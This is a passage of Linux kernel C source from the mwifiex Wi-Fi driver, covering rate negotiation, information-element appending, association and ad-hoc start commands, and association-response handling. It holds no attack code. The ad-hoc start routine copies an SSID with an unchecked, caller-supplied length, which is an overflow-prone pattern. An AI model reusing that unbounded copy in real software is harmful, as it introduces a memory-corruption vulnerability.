/* Check common rate, excluding the bit for basic rate */ if ((rate2[i] & 0x7F) == (tmp[j] & 0x7F)) { *rate1++ = tmp[j]; break; } } } mwifiex_dbg(priv->adapter, INFO, "info: Tx data rate set to %#x\n", priv->data_rate); if (!priv->is_data_rate_auto) { while (*ptr) { if ((*ptr & 0x7f) == priv->data_rate) { ret = 0; goto done; } ptr++; } mwifiex_dbg(priv->adapter, ERROR, "previously set fixed data rate %#x\t" "is not compatible with the network\n", priv->data_rate); ret = -1; goto done; } ret = 0; done: kfree(tmp); return ret; } /* * This function creates the intersection of the rates supported by a * target BSS and our adapter settings for use in an assoc/join command. */ static int mwifiex_setup_rates_from_bssdesc(struct mwifiex_private *priv, struct mwifiex_bssdescriptor *bss_desc, u8 *out_rates, u32 *out_rates_size) { u8 card_rates[MWIFIEX_SUPPORTED_RATES]; u32 card_rates_size; /* Copy AP supported rates */ memcpy(out_rates, bss_desc->supported_rates, MWIFIEX_SUPPORTED_RATES); /* Get the STA supported rates */ card_rates_size = mwifiex_get_active_data_rates(priv, card_rates); /* Get the common rates between AP and STA supported rates */ if (mwifiex_get_common_rates(priv, out_rates, MWIFIEX_SUPPORTED_RATES, card_rates, card_rates_size)) { *out_rates_size = 0; mwifiex_dbg(priv->adapter, ERROR, "%s: cannot get common rates\n", __func__); return -1; } *out_rates_size = min_t(size_t, strlen(out_rates), MWIFIEX_SUPPORTED_RATES); return 0; } /* * This function appends a WPS IE. It is called from the network join command * preparation routine. * * If the IE buffer has been setup by the application, this routine appends * the buffer as a WPS TLV type to the request. */ static int mwifiex_cmd_append_wps_ie(struct mwifiex_private *priv, u8 **buffer) { int retLen = 0; struct mwifiex_ie_types_header ie_header; if (!buffer || !*buffer) return 0; /* * If there is a wps ie buffer setup, append it to the return * parameter buffer pointer. */ if (priv->wps_ie_len) { mwifiex_dbg(priv->adapter, CMD, "cmd: append wps ie %d to %p\n", priv->wps_ie_len, *buffer); /* Wrap the generic IE buffer with a pass through TLV type */ ie_header.type = cpu_to_le16(TLV_TYPE_PASSTHROUGH); ie_header.len = cpu_to_le16(priv->wps_ie_len); memcpy(*buffer, &ie_header, sizeof(ie_header)); *buffer += sizeof(ie_header); retLen += sizeof(ie_header); memcpy(*buffer, priv->wps_ie, priv->wps_ie_len); *buffer += priv->wps_ie_len; retLen += priv->wps_ie_len; } kfree(priv->wps_ie); priv->wps_ie_len = 0; return retLen; } /* * This function appends a WAPI IE. * * This function is called from the network join command preparation routine. * * If the IE buffer has been setup by the application, this routine appends * the buffer as a WAPI TLV type to the request. */ static int mwifiex_cmd_append_wapi_ie(struct mwifiex_private *priv, u8 **buffer) { int retLen = 0; struct mwifiex_ie_types_header ie_header; /* Null Checks */ if (buffer == NULL) return 0; if (*buffer == NULL) return 0; /* * If there is a wapi ie buffer setup, append it to the return * parameter buffer pointer. */ if (priv->wapi_ie_len) { mwifiex_dbg(priv->adapter, CMD, "cmd: append wapi ie %d to %p\n", priv->wapi_ie_len, *buffer); /* Wrap the generic IE buffer with a pass through TLV type */ ie_header.type = cpu_to_le16(TLV_TYPE_WAPI_IE); ie_header.len = cpu_to_le16(priv->wapi_ie_len); memcpy(*buffer, &ie_header, sizeof(ie_header)); /* Increment the return size and the return buffer pointer param */ *buffer += sizeof(ie_header); retLen += sizeof(ie_header); /* Copy the wapi IE buffer to the output buffer, advance pointer */ memcpy(*buffer, priv->wapi_ie, priv->wapi_ie_len); /* Increment the return size and the return buffer pointer param */ *buffer += priv->wapi_ie_len; retLen += priv->wapi_ie_len; } /* return the length appended to the buffer */ return retLen; } /* * This function appends rsn ie tlv for wpa/wpa2 security modes. * It is called from the network join command preparation routine. */ static int mwifiex_append_rsn_ie_wpa_wpa2(struct mwifiex_private *priv, u8 **buffer) { struct mwifiex_ie_types_rsn_param_set *rsn_ie_tlv; int rsn_ie_len; if (!buffer || !(*buffer)) return 0; rsn_ie_tlv = (struct mwifiex_ie_types_rsn_param_set *) (*buffer); rsn_ie_tlv->header.type = cpu_to_le16((u16) priv->wpa_ie[0]); rsn_ie_tlv->header.type = cpu_to_le16( le16_to_cpu(rsn_ie_tlv->header.type) & 0x00FF); rsn_ie_tlv->header.len = cpu_to_le16((u16) priv->wpa_ie[1]); rsn_ie_tlv->header.len = cpu_to_le16(le16_to_cpu(rsn_ie_tlv->header.len) & 0x00FF); if (le16_to_cpu(rsn_ie_tlv->header.len) <= (sizeof(priv->wpa_ie) - 2)) memcpy(rsn_ie_tlv->rsn_ie, &priv->wpa_ie[2], le16_to_cpu(rsn_ie_tlv->header.len)); else return -1; rsn_ie_len = sizeof(rsn_ie_tlv->header) + le16_to_cpu(rsn_ie_tlv->header.len); *buffer += rsn_ie_len; return rsn_ie_len; } /* * This function prepares command for association. * * This sets the following parameters - * - Peer MAC address * - Listen interval * - Beacon interval * - Capability information * * ...and the following TLVs, as required - * - SSID TLV * - PHY TLV * - SS TLV * - Rates TLV * - Authentication TLV * - Channel TLV * - WPA/WPA2 IE * - 11n TLV * - Vendor specific TLV * - WMM TLV * - WAPI IE * - Generic IE * - TSF TLV * * Preparation also includes - * - Setting command ID and proper size * - Ensuring correct endian-ness */ int mwifiex_cmd_802_11_associate(struct mwifiex_private *priv, struct host_cmd_ds_command *cmd, struct mwifiex_bssdescriptor *bss_desc) { struct host_cmd_ds_802_11_associate *assoc = &cmd->params.associate; struct mwifiex_ie_types_ssid_param_set *ssid_tlv; struct mwifiex_ie_types_phy_param_set *phy_tlv; struct mwifiex_ie_types_ss_param_set *ss_tlv; struct mwifiex_ie_types_rates_param_set *rates_tlv; struct mwifiex_ie_types_auth_type *auth_tlv; struct mwifiex_ie_types_chan_list_param_set *chan_tlv; u8 rates[MWIFIEX_SUPPORTED_RATES]; u32 rates_size; u16 tmp_cap; u8 *pos; int rsn_ie_len = 0; pos = (u8 *) assoc; cmd->command = cpu_to_le16(HostCmd_CMD_802_11_ASSOCIATE); /* Save so we know which BSS Desc to use in the response handler */ priv->attempted_bss_desc = bss_desc; memcpy(assoc->peer_sta_addr, bss_desc->mac_address, sizeof(assoc->peer_sta_addr)); pos += sizeof(assoc->peer_sta_addr); /* Set the listen interval */ assoc->listen_interval = cpu_to_le16(priv->listen_interval); /* Set the beacon period */ assoc->beacon_period = cpu_to_le16(bss_desc->beacon_period); pos += sizeof(assoc->cap_info_bitmap); pos += sizeof(assoc->listen_interval); pos += sizeof(assoc->beacon_period); pos += sizeof(assoc->dtim_period); ssid_tlv = (struct mwifiex_ie_types_ssid_param_set *) pos; ssid_tlv->header.type = cpu_to_le16(WLAN_EID_SSID); ssid_tlv->header.len = cpu_to_le16((u16) bss_desc->ssid.ssid_len); memcpy(ssid_tlv->ssid, bss_desc->ssid.ssid, le16_to_cpu(ssid_tlv->header.len)); pos += sizeof(ssid_tlv->header) + le16_to_cpu(ssid_tlv->header.len); phy_tlv = (struct mwifiex_ie_types_phy_param_set *) pos; phy_tlv->header.type = cpu_to_le16(WLAN_EID_DS_PARAMS); phy_tlv->header.len = cpu_to_le16(sizeof(phy_tlv->fh_ds.ds_param_set)); memcpy(&phy_tlv->fh_ds.ds_param_set, &bss_desc->phy_param_set.ds_param_set.current_chan, sizeof(phy_tlv->fh_ds.ds_param_set)); pos += sizeof(phy_tlv->header) + le16_to_cpu(phy_tlv->header.len); ss_tlv = (struct mwifiex_ie_types_ss_param_set *) pos; ss_tlv->header.type = cpu_to_le16(WLAN_EID_CF_PARAMS); ss_tlv->header.len = cpu_to_le16(sizeof(ss_tlv->cf_ibss.cf_param_set)); pos += sizeof(ss_tlv->header) + le16_to_cpu(ss_tlv->header.len); /* Get the common rates supported between the driver and the BSS Desc */ if (mwifiex_setup_rates_from_bssdesc (priv, bss_desc, rates, &rates_size)) return -1; /* Save the data rates into Current BSS state structure */ priv->curr_bss_params.num_of_rates = rates_size; memcpy(&priv->curr_bss_params.data_rates, rates, rates_size); /* Setup the Rates TLV in the association command */ rates_tlv = (struct mwifiex_ie_types_rates_param_set *) pos; rates_tlv->header.type = cpu_to_le16(WLAN_EID_SUPP_RATES); rates_tlv->header.len = cpu_to_le16((u16) rates_size); memcpy(rates_tlv->rates, rates, rates_size); pos += sizeof(rates_tlv->header) + rates_size; mwifiex_dbg(priv->adapter, INFO, "info: ASSOC_CMD: rates size = %d\n", rates_size); /* Add the Authentication type to be used for Auth frames */ auth_tlv = (struct mwifiex_ie_types_auth_type *) pos; auth_tlv->header.type = cpu_to_le16(TLV_TYPE_AUTH_TYPE); auth_tlv->header.len = cpu_to_le16(sizeof(auth_tlv->auth_type)); if (priv->sec_info.wep_enabled) auth_tlv->auth_type = cpu_to_le16( (u16) priv->sec_info.authentication_mode); else auth_tlv->auth_type = cpu_to_le16(NL80211_AUTHTYPE_OPEN_SYSTEM); pos += sizeof(auth_tlv->header) + le16_to_cpu(auth_tlv->header.len); if (IS_SUPPORT_MULTI_BANDS(priv->adapter) && !(ISSUPP_11NENABLED(priv->adapter->fw_cap_info) && (!bss_desc->disable_11n) && (priv->adapter->config_bands & BAND_GN || priv->adapter->config_bands & BAND_AN) && (bss_desc->bcn_ht_cap) ) ) { /* Append a channel TLV for the channel the attempted AP was found on */ chan_tlv = (struct mwifiex_ie_types_chan_list_param_set *) pos; chan_tlv->header.type = cpu_to_le16(TLV_TYPE_CHANLIST); chan_tlv->header.len = cpu_to_le16(sizeof(struct mwifiex_chan_scan_param_set)); memset(chan_tlv->chan_scan_param, 0x00, sizeof(struct mwifiex_chan_scan_param_set)); chan_tlv->chan_scan_param[0].chan_number = (bss_desc->phy_param_set.ds_param_set.current_chan); mwifiex_dbg(priv->adapter, INFO, "info: Assoc: TLV Chan = %d\n", chan_tlv->chan_scan_param[0].chan_number); chan_tlv->chan_scan_param[0].radio_type = mwifiex_band_to_radio_type((u8) bss_desc->bss_band); mwifiex_dbg(priv->adapter, INFO, "info: Assoc: TLV Band = %d\n", chan_tlv->chan_scan_param[0].radio_type); pos += sizeof(chan_tlv->header) + sizeof(struct mwifiex_chan_scan_param_set); } if (!priv->wps.session_enable) { if (priv->sec_info.wpa_enabled || priv->sec_info.wpa2_enabled) rsn_ie_len = mwifiex_append_rsn_ie_wpa_wpa2(priv, &pos); if (rsn_ie_len == -1) return -1; } if (ISSUPP_11NENABLED(priv->adapter->fw_cap_info) && (!bss_desc->disable_11n) && (priv->adapter->config_bands & BAND_GN || priv->adapter->config_bands & BAND_AN)) mwifiex_cmd_append_11n_tlv(priv, bss_desc, &pos); if (ISSUPP_11ACENABLED(priv->adapter->fw_cap_info) && !bss_desc->disable_11n && !bss_desc->disable_11ac && priv->adapter->config_bands & BAND_AAC) mwifiex_cmd_append_11ac_tlv(priv, bss_desc, &pos); /* Append vendor specific IE TLV */ mwifiex_cmd_append_vsie_tlv(priv, MWIFIEX_VSIE_MASK_ASSOC, &pos); mwifiex_wmm_process_association_req(priv, &pos, &bss_desc->wmm_ie, bss_desc->bcn_ht_cap); if (priv->sec_info.wapi_enabled && priv->wapi_ie_len) mwifiex_cmd_append_wapi_ie(priv, &pos); if (priv->wps.session_enable && priv->wps_ie_len) mwifiex_cmd_append_wps_ie(priv, &pos); mwifiex_cmd_append_generic_ie(priv, &pos); mwifiex_cmd_append_tsf_tlv(priv, &pos, bss_desc); mwifiex_11h_process_join(priv, &pos, bss_desc); cmd->size = cpu_to_le16((u16) (pos - (u8 *) assoc) + S_DS_GEN); /* Set the Capability info at last */ tmp_cap = bss_desc->cap_info_bitmap; if (priv->adapter->config_bands == BAND_B) tmp_cap &= ~WLAN_CAPABILITY_SHORT_SLOT_TIME; tmp_cap &= CAPINFO_MASK; mwifiex_dbg(priv->adapter, INFO, "info: ASSOC_CMD: tmp_cap=%4X CAPINFO_MASK=%4lX\n", tmp_cap, CAPINFO_MASK); assoc->cap_info_bitmap = cpu_to_le16(tmp_cap); return 0; } static const char *assoc_failure_reason_to_str(u16 cap_info) { switch (cap_info) { case CONNECT_ERR_AUTH_ERR_STA_FAILURE: return "CONNECT_ERR_AUTH_ERR_STA_FAILURE"; case CONNECT_ERR_AUTH_MSG_UNHANDLED: return "CONNECT_ERR_AUTH_MSG_UNHANDLED"; case CONNECT_ERR_ASSOC_ERR_TIMEOUT: return "CONNECT_ERR_ASSOC_ERR_TIMEOUT"; case CONNECT_ERR_ASSOC_ERR_AUTH_REFUSED: return "CONNECT_ERR_ASSOC_ERR_AUTH_REFUSED"; case CONNECT_ERR_STA_FAILURE: return "CONNECT_ERR_STA_FAILURE"; } return "Unknown connect failure"; } /* * Association firmware command response handler * * The response buffer for the association command has the following * memory layout. * * For cases where an association response was not received (indicated * by the CapInfo and AId field): * * .------------------------------------------------------------. * | Header(4 * sizeof(t_u16)): Standard command response hdr | * .------------------------------------------------------------. * | cap_info/Error Return(t_u16): | * | 0xFFFF(-1): Internal error | * | 0xFFFE(-2): Authentication unhandled message | * | 0xFFFD(-3): Authentication refused | * | 0xFFFC(-4): Timeout waiting for AP response | * .------------------------------------------------------------. * | status_code(t_u16): | * | If cap_info is -1: | * | An internal firmware failure prevented the | * | command from being processed. The status_code | * | will be set to 1. | * | | * | If cap_info is -2: | * | An authentication frame was received but was | * | not handled by the firmware. IEEE Status | * | code for the failure is returned. | * | | * | If cap_info is -3: | * | An authentication frame was received and the | * | status_code is the IEEE Status reported in the | * | response. | * | | * | If cap_info is -4: | * | (1) Association response timeout | * | (2) Authentication response timeout | * .------------------------------------------------------------. * | a_id(t_u16): 0xFFFF | * .------------------------------------------------------------. * * * For cases where an association response was received, the IEEE * standard association response frame is returned: * * .------------------------------------------------------------. * | Header(4 * sizeof(t_u16)): Standard command response hdr | * .------------------------------------------------------------. * | cap_info(t_u16): IEEE Capability | * .------------------------------------------------------------. * | status_code(t_u16): IEEE Status Code | * .------------------------------------------------------------. * | a_id(t_u16): IEEE Association ID | * .------------------------------------------------------------. * | IEEE IEs(variable): Any received IEs comprising the | * | remaining portion of a received | * | association response frame. | * .------------------------------------------------------------. * * For simplistic handling, the status_code field can be used to determine * an association success (0) or failure (non-zero). */ int mwifiex_ret_802_11_associate(struct mwifiex_private *priv, struct host_cmd_ds_command *resp) { struct mwifiex_adapter *adapter = priv->adapter; int ret = 0; struct ieee_types_assoc_rsp *assoc_rsp; struct mwifiex_bssdescriptor *bss_desc; bool enable_data = true; u16 cap_info, status_code, aid; const u8 *ie_ptr; struct ieee80211_ht_operation *assoc_resp_ht_oper; if (!priv->attempted_bss_desc) { mwifiex_dbg(priv->adapter, ERROR, "ASSOC_RESP: failed, association terminated by host\n"); goto done; } assoc_rsp = (struct ieee_types_assoc_rsp *) &resp->params; cap_info = le16_to_cpu(assoc_rsp->cap_info_bitmap); status_code = le16_to_cpu(assoc_rsp->status_code); aid = le16_to_cpu(assoc_rsp->a_id); if ((aid & (BIT(15) | BIT(14))) != (BIT(15) | BIT(14))) dev_err(priv->adapter->dev, "invalid AID value 0x%x; bits 15:14 not set\n", aid); aid &= ~(BIT(15) | BIT(14)); priv->assoc_rsp_size = min(le16_to_cpu(resp->size) - S_DS_GEN, sizeof(priv->assoc_rsp_buf)); assoc_rsp->a_id = cpu_to_le16(aid); memcpy(priv->assoc_rsp_buf, &resp->params, priv->assoc_rsp_size); if (status_code) { priv->adapter->dbg.num_cmd_assoc_failure++; mwifiex_dbg(priv->adapter, ERROR, "ASSOC_RESP: failed,\t" "status code=%d err=%#x a_id=%#x\n", status_code, cap_info, le16_to_cpu(assoc_rsp->a_id)); mwifiex_dbg(priv->adapter, ERROR, "assoc failure: reason %s\n", assoc_failure_reason_to_str(cap_info)); if (cap_info == CONNECT_ERR_ASSOC_ERR_TIMEOUT) { if (status_code == MWIFIEX_ASSOC_CMD_FAILURE_AUTH) { ret = WLAN_STATUS_AUTH_TIMEOUT; mwifiex_dbg(priv->adapter, ERROR, "ASSOC_RESP: AUTH timeout\n"); } else { ret = WLAN_STATUS_UNSPECIFIED_FAILURE; mwifiex_dbg(priv->adapter, ERROR, "ASSOC_RESP: UNSPECIFIED failure\n"); } } else { ret = status_code; } goto done; } /* Send a Media Connected event, according to the Spec */ priv->media_connected = true; priv->adapter->ps_state = PS_STATE_AWAKE; priv->adapter->pps_uapsd_mode = false; priv->adapter->tx_lock_flag = false; /* Set the attempted BSSID Index to current */ bss_desc = priv->attempted_bss_desc; mwifiex_dbg(priv->adapter, INFO, "info: ASSOC_RESP: %s\n", bss_desc->ssid.ssid); /* Make a copy of current BSSID descriptor */ memcpy(&priv->curr_bss_params.bss_descriptor, bss_desc, sizeof(struct mwifiex_bssdescriptor)); /* Update curr_bss_params */ priv->curr_bss_params.bss_descriptor.channel = bss_desc->phy_param_set.ds_param_set.current_chan; priv->curr_bss_params.band = (u8) bss_desc->bss_band; if (bss_desc->wmm_ie.vend_hdr.element_id == WLAN_EID_VENDOR_SPECIFIC) priv->curr_bss_params.wmm_enabled = true; else priv->curr_bss_params.wmm_enabled = false; if ((priv->wmm_required || bss_desc->bcn_ht_cap) && priv->curr_bss_params.wmm_enabled) priv->wmm_enabled = true; else priv->wmm_enabled = false; priv->curr_bss_params.wmm_uapsd_enabled = false; if (priv->wmm_enabled) priv->curr_bss_params.wmm_uapsd_enabled = ((bss_desc->wmm_ie.qos_info_bitmap & IEEE80211_WMM_IE_AP_QOSINFO_UAPSD) ? 1 : 0); /* Store the bandwidth information from assoc response */ ie_ptr = cfg80211_find_ie(WLAN_EID_HT_OPERATION, assoc_rsp->ie_buffer, priv->assoc_rsp_size - sizeof(struct ieee_types_assoc_rsp)); if (ie_ptr) { assoc_resp_ht_oper = (struct ieee80211_ht_operation *)(ie_ptr + sizeof(struct ieee_types_header)); priv->assoc_resp_ht_param = assoc_resp_ht_oper->ht_param; priv->ht_param_present = true; } else { priv->ht_param_present = false; } mwifiex_dbg(priv->adapter, INFO, "info: ASSOC_RESP: curr_pkt_filter is %#x\n", priv->curr_pkt_filter); if (priv->sec_info.wpa_enabled || priv->sec_info.wpa2_enabled) priv->wpa_is_gtk_set = false; if (priv->wmm_enabled) { /* Don't re-enable carrier until we get the WMM_GET_STATUS event */ enable_data = false; } else { /* Since WMM is not enabled, setup the queues with the defaults */ mwifiex_wmm_setup_queue_priorities(priv, NULL); mwifiex_wmm_setup_ac_downgrade(priv); } if (enable_data) mwifiex_dbg(priv->adapter, INFO, "info: post association, re-enabling data flow\n"); /* Reset SNR/NF/RSSI values */ priv->data_rssi_last = 0; priv->data_nf_last = 0; priv->data_rssi_avg = 0; priv->data_nf_avg = 0; priv->bcn_rssi_last = 0; priv->bcn_nf_last = 0; priv->bcn_rssi_avg = 0; priv->bcn_nf_avg = 0; priv->rxpd_rate = 0; priv->rxpd_htinfo = 0; mwifiex_save_curr_bcn(priv); priv->adapter->dbg.num_cmd_assoc_success++; mwifiex_dbg(priv->adapter, INFO, "info: ASSOC_RESP: associated\n"); /* Add the ra_list here for infra mode as there will be only 1 ra always */ mwifiex_ralist_add(priv, priv->curr_bss_params.bss_descriptor.mac_address); if (!netif_carrier_ok(priv->netdev)) netif_carrier_on(priv->netdev); mwifiex_wake_up_net_dev_queue(priv->netdev, adapter); if (priv->sec_info.wpa_enabled || priv->sec_info.wpa2_enabled) priv->scan_block = true; else priv->port_open = true; done: /* Need to indicate IOCTL complete */ if (adapter->curr_cmd->wait_q_enabled) { if (ret) adapter->cmd_wait_q.status = -1; else adapter->cmd_wait_q.status = 0; } return ret; } /* * This function prepares command for ad-hoc start. * * Driver will fill up SSID, BSS mode, IBSS parameters, physical * parameters, probe delay, and capability information. Firmware * will fill up beacon period, basic rates and operational rates. * * In addition, the following TLVs are added - * - Channel TLV * - Vendor specific IE * - WPA/WPA2 IE * - HT Capabilities IE * - HT Information IE * * Preparation also includes - * - Setting command ID and proper size * - Ensuring correct endian-ness */ int mwifiex_cmd_802_11_ad_hoc_start(struct mwifiex_private *priv, struct host_cmd_ds_command *cmd, struct cfg80211_ssid *req_ssid) { int rsn_ie_len = 0; struct mwifiex_adapter *adapter = priv->adapter; struct host_cmd_ds_802_11_ad_hoc_start *adhoc_start = &cmd->params.adhoc_start; struct mwifiex_bssdescriptor *bss_desc; u32 cmd_append_size = 0; u32 i; u16 tmp_cap; struct mwifiex_ie_types_chan_list_param_set *chan_tlv; u8 radio_type; struct mwifiex_ie_types_htcap *ht_cap; struct mwifiex_ie_types_htinfo *ht_info; u8 *pos = (u8 *) adhoc_start + sizeof(struct host_cmd_ds_802_11_ad_hoc_start); if (!adapter) return -1; cmd->command = cpu_to_le16(HostCmd_CMD_802_11_AD_HOC_START); bss_desc = &priv->curr_bss_params.bss_descriptor; priv->attempted_bss_desc = bss_desc; /* * Fill in the parameters for 2 data structures: * 1. struct host_cmd_ds_802_11_ad_hoc_start command * 2. bss_desc * Driver will fill up SSID, bss_mode,IBSS param, Physical Param, * probe delay, and Cap info. * Firmware will fill up beacon period, Basic rates * and operational rates. */ memset(adhoc_start->ssid, 0, IEEE80211_MAX_SSID_LEN); memcpy(adhoc_start->ssid, req_ssid->ssid, req_ssid->ssid_len); mwifiex_dbg(adapter, INFO, "info: ADHOC_S_CMD: SSID = %s\n", adhoc_start->ssid); memset(bss_desc->ssid.ssid, 0, IEEE80211_MAX_SSID_LEN); memcpy(bss_desc->ssid.ssid, req_ssid->ssid, req_ssid->ssid_len); bss_desc->ssid.ssid_len = req_ssid->ssid_len; /* Set the BSS mode */ adhoc_start->bss_mode = HostCmd_BSS_MODE_IBSS; bss_desc->bss_mode = NL80211_IFTYPE_ADHOC; adhoc_start->beacon_period = cpu_to_le16(priv->beacon_period); bss_desc->beacon_period = priv->beacon_period; /* Set Physical param set */ /* Parameter IE Id */ #define DS_PARA_IE_ID 3 /* Parameter IE length */ #define DS_PARA_IE_LEN 1 adhoc_start->phy_param_set.ds_param_set.element_id = DS_PARA_IE_ID; adhoc_start->phy_param_set.ds_param_set.len = DS_PARA_IE_LEN; if (!mwifiex_get_cfp(priv, adapter->adhoc_start_band, (u16) priv->adhoc_channel, 0)) { struct mwifiex_chan_freq_power *cfp; cfp = mwifiex_get_cfp(priv, adapter->adhoc_start_band, FIRST_VALID_CHANNEL, 0); if (cfp) priv->adhoc_channel = (u8) cfp->channel; } if (!priv->adhoc_channel) { mwifiex_dbg(adapter, ERROR, "ADHOC_S_CMD: adhoc_channel cannot be 0\n"); return -1; } mwifiex_dbg(adapter, INFO, "info: ADHOC_S_CMD: creating ADHOC on channel %d\n", priv->adhoc_channel); priv->curr_bss_params.bss_descriptor.channel = priv->adhoc_channel; priv->curr_bss_params.band = adapter->adhoc_start_band; bss_desc->channel = priv->adhoc_channel; adhoc_start->phy_param_set.ds_param_set.current_chan = priv->adhoc_channel; memcpy(&bss_desc->phy_param_set, &adhoc_start->phy_param_set, sizeof(union ieee_types_phy_param_set)); /* Set IBSS param set */ /* IBSS parameter IE Id */ #define IBSS_PARA_IE_ID 6 /* IBSS parameter IE length */ #define IBSS_PARA_IE_LEN 2 adhoc_start->ss_param_set.ibss_param_set.element_id = IBSS_PARA_IE_ID; adhoc_start->ss_param_set.ibss_param_set.len = IBSS_PARA_IE_LEN; adhoc_start->ss_param_set.ibss_param_set.atim_window = cpu_to_le16(priv->atim_window); memcpy(&bss_desc->ss_param_set, &adhoc_start->ss_param_set, sizeof(union ieee_types_ss_param_set)); /* Set Capability info */ bss_desc->cap_info_bitmap |= WLAN_CAPABILITY_IBSS; tmp_cap = WLAN_CAPABILITY_IBSS; /* Set up privacy in bss_desc */ if (priv->sec_info.encryption_mode) { /* Ad-Hoc capability privacy on */ mwifiex_dbg(adapter, INFO, "info: ADHOC_S_CMD: wep_status set privacy to WEP\n"); bss_desc->privacy = MWIFIEX_802_11_PRIV_FILTER_8021X_WEP; tmp_cap |= WLAN_CAPABILITY_PRIVACY; } else { mwifiex_dbg(adapter, INFO, "info: ADHOC_S_CMD: wep_status NOT set,\t" "setting privacy to ACCEPT ALL\n"); bss_desc->privacy = MWIFIEX_802_11_PRIV_FILTER_ACCEPT_ALL; } memset(adhoc_start->data_rate, 0, sizeof(adhoc_start->data_rate)); mwifiex_get_active_data_rates(priv, adhoc_start->data_rate); if ((adapter->adhoc_start_band & BAND_G) && (priv->curr_pkt_filter & HostCmd_ACT_MAC_ADHOC_G_PROTECTION_ON)) { if (mwifiex_send_cmd(priv, HostCmd_CMD_MAC_CONTROL, HostCmd_ACT_GEN_SET, 0, &priv->curr_pkt_filter, false)) { mwifiex_dbg(adapter, ERROR, "ADHOC_S_CMD: G Protection config failed\n"); return -1; } } /* Find the last non zero */ for (i = 0; i < sizeof(adhoc_start->data_rate); i++) if (!adhoc_start->data_rate[i]) break; priv->curr_bss_params.num_of_rates = i; /* Copy the ad-hoc creating rates into Current BSS rate structure */ memcpy(&priv->curr_bss_params.data_rates, &adhoc_start->data_rate, priv->curr_bss_params.num_of_rates); mwifiex_dbg(adapter, INFO, "info: ADHOC_S_CMD: rates=%4ph\n", adhoc_start->data_rate); mwifiex_dbg(adapter, INFO, "info: ADHOC_S_CMD: AD-HOC Start command is ready\n"); if (IS_SUPPORT_MULTI_BANDS(adapter)) { /* Append a channel TLV */ chan_tlv = (struct mwifiex_ie_types_chan_list_param_set *) pos; chan_tlv->header.type = cpu_to_le16(TLV_TYPE_CHANLIST); chan_tlv->header.len = cpu_to_le16(sizeof(struct mwifiex_chan_scan_param_set)); memset(chan_tlv->chan_scan_param, 0x00, sizeof(struct mwifiex_chan_scan_param_set)); chan_tlv->chan_scan_param[0].chan_number = (u8) priv->curr_bss_params.bss_descriptor.channel; mwifiex_dbg(adapter, INFO, "info: ADHOC_S_CMD: TLV Chan = %d\n", chan_tlv->chan_scan_param[0].chan_number); chan_tlv->chan_scan_param[0].radio_type = mwifiex_band_to_radio_type(priv->curr_bss_params.band); if (adapter->adhoc_start_band & BAND_GN || adapter->adhoc_start_band & BAND_AN) { if (adapter->sec_chan_offset == IEEE80211_HT_PARAM_CHA_SEC_ABOVE) chan_tlv->chan_scan_param[0].radio_type |= (IEEE80211_HT_PARAM_CHA_SEC_ABOVE << 4); else if (adapter->sec_chan_offset == IEEE80211_HT_PARAM_CHA_SEC_BELOW) chan_tlv->chan_scan_param[0].radio_type |= (IEEE80211_HT_PARAM_CHA_SEC_BELOW << 4); } mwifiex_dbg(adapter, INFO, "info: ADHOC_S_CMD: TLV Band = %d\n", chan_tlv->chan_scan_param[0].radio_type); pos += sizeof(chan_tlv->header) + sizeof(struct mwifiex_chan_scan_param_set); cmd_append_size += sizeof(chan_tlv->header) + sizeof(struct mwifiex_chan_scan_param_set); } /* Append vendor specific IE TLV */ cmd_append_size += mwifiex_cmd_append_vsie_tlv(priv, MWIFIEX_VSIE_MASK_ADHOC, &pos); if (priv->sec_info.wpa_enabled) { rsn_ie_len = mwifiex_append_rsn_ie_wpa_wpa2(priv, &pos); if (rsn_ie_len == -1) return -1; cmd_append_size += rsn_ie_len; } if (adapter->adhoc_11n_enabled) { /* Fill HT CAPABILITY */ ht_cap = (struct mwifiex_ie_types_htcap *) pos; memset(ht_cap, 0, sizeof(struct mwifiex_ie_types_htcap)); ht_cap->header.type = cpu_to_le16(WLAN_EID_HT_CAPABILITY); ht_cap->header.len = cpu_to_le16(sizeof(struct ieee80211_ht_cap)); radio_type = mwifiex_band_to_radio_type( priv->adapter->config_bands); mwifiex_fill_cap_info(priv, radio_type, &ht_cap->ht_cap); if (adapter->sec_chan_offset == IEEE80211_HT_PARAM_CHA_SEC_NONE) { u16 tmp_ht_cap; tmp_ht_cap = le16_to_cpu(ht_cap->ht_cap.cap_info); tmp_ht_cap &= ~IEEE80211_HT_CAP_SUP_WIDTH_20_40; tmp_ht_cap &= ~IEEE80211_HT_CAP_SGI_40; ht_cap->ht_cap.cap_info = cpu_to_le16(tmp_ht_cap); } pos += sizeof(struct mwifiex_ie_types_htcap); cmd_append_size += sizeof(struct mwifiex_ie_types_htcap); /* Fill HT INFORMATION */ ht_info = (struct mwifiex_ie_types_htinfo *) pos; memset(ht_info, 0, sizeof(struct mwifiex_ie_types_htinfo)); ht_info->header.type = cpu_to_le16(WLAN_EID_HT_OPERATION); ht_info->header.len = cpu_to_le16(sizeof(struct ieee80211_ht_operation)); ht_info->ht_oper.primary_chan = (u8) priv->curr_bss_params.bss_descriptor.channel; if (adapter->sec_chan_offset) { ht_info->ht_oper.ht_param = adapter->sec_chan_offset; ht_info->ht_oper.ht_param |= IEEE80211_HT_PARAM_CHAN_WIDTH_ANY; } ht_info->ht_oper.operation_mode = cpu_to_le16(IEEE80211_HT_OP_MODE_NON_GF_STA_PRSNT); ht_info->ht_oper.basic_set[0] = 0xff; pos += sizeof(struct mwifiex_ie_types_htinfo); cmd_append_size += sizeof(struct mwifiex_ie_types_htinfo); } cmd->size = cpu_to_le16((u16)(sizeof(struct host_cmd_ds_802_11_ad_hoc_start) + S_DS_GEN + cmd_append_size)); if (adapter->adhoc_start_band == BAND_B) tmp_cap &= ~WLAN_CAPABILITY_SHORT_SLOT_TIME; else tmp_cap |= WLAN_CAPABILITY_SHORT_SLOT_TIME; adhoc_start->cap_info_bitmap = cpu_to_le16(tmp_cap); return 0; } /* * This function prepares command for ad-hoc join. * * Most of the parameters are set up by copying from the target BSS descriptor * from the scan response. * * In addition, the following TLVs are added - * - Channel TLV * - Vendor specific IE * - WPA/WPA2 IE * - 11n IE * * Preparation also includes - * - Setting command ID and proper size * - Ensuring correct endian-ness */ int mwifiex_cmd_802_11_ad_hoc_join(struct mwifiex_private *priv, struct host_cmd_ds_command *cmd, struct mwifiex_bssdescriptor *bss_desc) { int rsn_ie_len = 0; struct host_cmd_ds_802_11_ad_hoc_join *adhoc_join = &cmd->params.adhoc_join; struct mwifiex_ie_types_chan_list_param_set *chan_tlv; u32 cmd_append_size = 0; u16 tmp_cap; u32 i, rates_size = 0; u16 